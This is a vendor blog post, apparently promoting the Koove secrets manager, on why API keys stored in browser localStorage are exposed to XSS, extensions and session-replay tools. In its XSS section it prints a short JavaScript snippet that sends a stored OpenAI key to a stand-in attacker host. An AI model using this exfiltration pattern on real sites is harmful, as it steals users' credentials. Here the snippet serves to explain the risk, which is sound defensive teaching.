Is It Safe to Store API Keys in localStorage? (Spoiler: No, Here's What Happens)
Short answer: no. The long answer is more useful, because "don't do it" doesn't tell you what actually happens or what to do instead.
If you've ever written localStorage.setItem('API_KEY', 'sk-...') to get something working fast in dev — and then forgot to remove it — this one's for you.
What localStorage is, and why it feels like a good idea
localStorage is a browser API for storing plain-text key-value pairs that persist across sessions. It's tempting for API keys because:
- It's synchronous and trivial to use (
setItem/getItem). - It survives page reloads.
- It needs no backend, no config.
The problem is exactly that convenience: any script running on your page has full access to localStorage. No isolation, no encryption, no permissions model.
What actually happens when you put a key there
XSS: the most common path
If your app has a Cross-Site Scripting vulnerability — from a compromised npm dependency, an unsanitized input field, or a misconfigured third-party widget — the attacker runs arbitrary JavaScript in your page's context. That includes:
// This is literally all an attacker needs
fetch('https://evil.example/collect', {
method: 'POST',
body: localStorage.getItem('OPENAI_API_KEY')
});
No server access needed. No encryption to break. Just a <script> tag that shouldn't be there.
Browser extensions
Any installed extension with broad permissions (activeTab, <all_urls>) can read localStorage on any open tab. That includes legitimate extensions that get compromised post-publication — something that has happened repeatedly to popular extensions.
Logging and monitoring tools
Many error-tracking and session-replay tools (Sentry, LogRocket) capture DOM state, and in default or loosely configured setups, that includes localStorage contents. Your API key can end up in a third-party dashboard without anyone doing it on purpose.
AI-generated code doesn't help
It's extremely common to ask an AI assistant "store the API key on the client" and get back exactly localStorage.setItem(...). It works, it throws no errors, and the assistant has no idea that key is headed to production. In the AI-generated code era, this is one of the most common security failures — we cover it in depth in /ai-security.
localStorage vs sessionStorage vs cookies
None of the browser's built-in alternatives fix the underlying problem:
- sessionStorage: same exposure to any JS running on the page, just a shorter lifetime (cleared on tab close).
- Cookies without
httpOnly: just as accessible from JS. - Cookies with
httpOnly+Secure+SameSite: a real improvement for user session tokens — but they're designed for tokens the browser sends automatically to the same origin, not for third-party API keys.
The takeaway isn't "pick a different browser storage." It's that a real API key should never reach the browser at all.
What to do instead
1. Keep the real key on the backend, period
If your frontend needs to call OpenAI, Stripe, or any third-party API, the correct pattern is a proxy: the browser calls your backend, and your backend — which holds the key — calls the external service.
// frontend: never sees the real key
await fetch('/api/complete', { method: 'POST', body: JSON.stringify({ prompt }) });
// backend: this is where the secret lives, managed, not hardcoded
const response = await openai.chat.completions.create({ ... });
2. Manage those backend keys with a secrets manager, not a .env in the repo
Moving the key to the backend doesn't fix anything if it's still sitting in a committed .env file or pasted by hand into a hosting dashboard — you've just relocated the exposure. With Koove, the flow looks like this:
koove set OPENAI_API_KEY sk-proj-xxxx --env prod
koove list --env prod
The value is encrypted client-side (X25519 + AES-256-GCM) before it ever leaves your machine. Koove's server only stores ciphertext — it never sees the key in plaintext. Your source code and your AI assistant only ever reference the secret's name, never its value. Integration details are in /docs/sdk.
3. If a mobile device needs the key, don't bake it into the build
Embedding an API key in a mobile app binary is the mobile equivalent of localStorage: anyone with the APK/IPA can extract it. Koove's alternative is to decrypt the secret only on verified devices:
const client = new KooveClient({ apiUrl, appId, appToken });
await client.init(); // attestation (App Attest / Play Integrity) + registration
const apiKey = await client.decryptSecret(envelope); // gated behind biometrics
This requires real physical hardware — attestation is verified end-to-end on both iPhone and Pixel, with no dev bypass. The full architecture is documented at /security.
What Koove doesn't do (staying honest here)
Koove doesn't make your app "unhackable," and it can't un-deliver a secret that a device already decrypted and holds in its own memory. What it does do is remove plaintext secrets from your source code, your repo, and your browser, and restrict decryption to authorized devices and backends. That's a real reduction in attack surface — not a magic guarantee.
Bottom line
localStorage isn't unsafe because browsers are badly built — it's unsafe because its security model doesn't isolate scripts from each other. The fix isn't finding a better corner of the browser to hide a key in. It's making sure the key never gets there.
If you're tired of managing secrets by hand across .env files and hosting dashboards, check the Koove plans or the FAQ, and create an account when you're ready to stop copy-pasting keys around.